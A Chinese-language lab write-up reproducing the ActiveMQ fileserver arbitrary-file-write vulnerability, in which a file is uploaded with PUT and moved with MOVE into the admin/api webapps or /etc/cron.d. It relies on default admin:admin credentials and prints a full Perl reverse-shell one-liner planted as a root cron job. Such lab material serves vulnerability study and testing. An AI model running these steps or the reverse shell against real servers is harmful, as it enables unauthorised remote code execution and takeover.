一、简介
-
ActiveMQ的web控制台分为三个应用:admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是存储文件接口;admin和api都需要登录后才能使用,fileserver无需登录。 - fileserver是一个
RESful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计的目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:- (1) 其使用率并不高
- (2) 文件操作容易出现漏洞
- 所以在
ActiveMQ5.12.x--5.13.x版本中,已经默认关闭了fileserver这个应用(可以在conf/jetty.xml中开启);在5.14.0版本以后彻底删除了fileserver应用。我们在测试过程中可以关注ActiveMQ的版本,避免走弯路。 - 本漏洞出现在
fileserver应用中,漏洞的原理就是fileserver支持写入文件(但是不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。文件写入有几种方法:- (1) 写入
webshell - (2) 写入
cron或者ssh key等文件 - (3)写入
jar或者jetty.xml等库和配置文件
- (1) 写入
- 写入webshell的好处是,门槛低更方便,但前面说了fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋
-
写入cron和ssh key的好处是
直接反弹shell,也比较方便,缺点是需要root权限 - 写入jar,稍微麻烦点(需要jar的后门)
- 写入xml配置文件,这个方法比较靠谱,但是有一个鸡肋的地方就是我们需要知道activemq的绝对路径。
二、漏洞环境准备
访问http://192.168.15.148:8161正常(PS:8161是activemq的web管理页面端口)
三、漏洞复现
我们分别看一下上面说的写入webshell方法和写入cron方法
(1) 写入webshell
写入webshell,需要在admin或api应用中,这两个应用
都需要登录才能访问。activemq的默认登录为admin:admin
登录之后首先访问http://192.168.15.148:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径。
我们在这里使用BP上传一个小马文件,命名为2.txt
上传成功之后可以在http://192.168.15.148:8161/fileserver/2.txt中看到上传的小马文件。
只是现在还无法解析,不止是因为他是2.txt文件,还因为fileserver无法解析.jsp文件,我们必须把他放到api或者是admin目录下才可以解析。这里试了vulhub官网的移动文件的HTTP报头,一直都不成功。后来换了一个HTTP包一下就成功了。
把原本在/fileserver/2.txt的文件移动到/opt/activemq/webapps/api/s.jsp中。我们来试试执行命令(这里必须要登录成功了才可以执行命令)。
成功!!!
(2) 写入crontab,自动化弹shell
我们的反弹shell命令为:/usr/bin/perl -e 'use Socket;$i="IP地址";$p=端口号;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
我们通过BP上传该cron定时任务到/fileserver/1.txt文件中,将该命令设置为每分钟执行一次,所属的用户为root用户
上传成功,接下来改变文件的路径为:/etc/cron.d/root。
在kali中监听4444端口,反弹shell成功
另:这里上传ssh的公钥失败了,就不尝试了,但是学到了生成ssh公钥和**的命令:ssh-****** -t rsa,该命令会生成两个文件:id_rsa(私钥文件);id_rsa.pub(公钥文件),将公钥文件上传到目标服务器,然后我们就可以使用ssh命令登录到目标主机中了。
四、可利用的版本
在ActiveMQ5.12.x--5.13.x版本中,已经默认关闭了fileserver这个应用(可以在conf/jetty.xml中开启);在 5.14.0版本以后彻底删除了fileserver应用。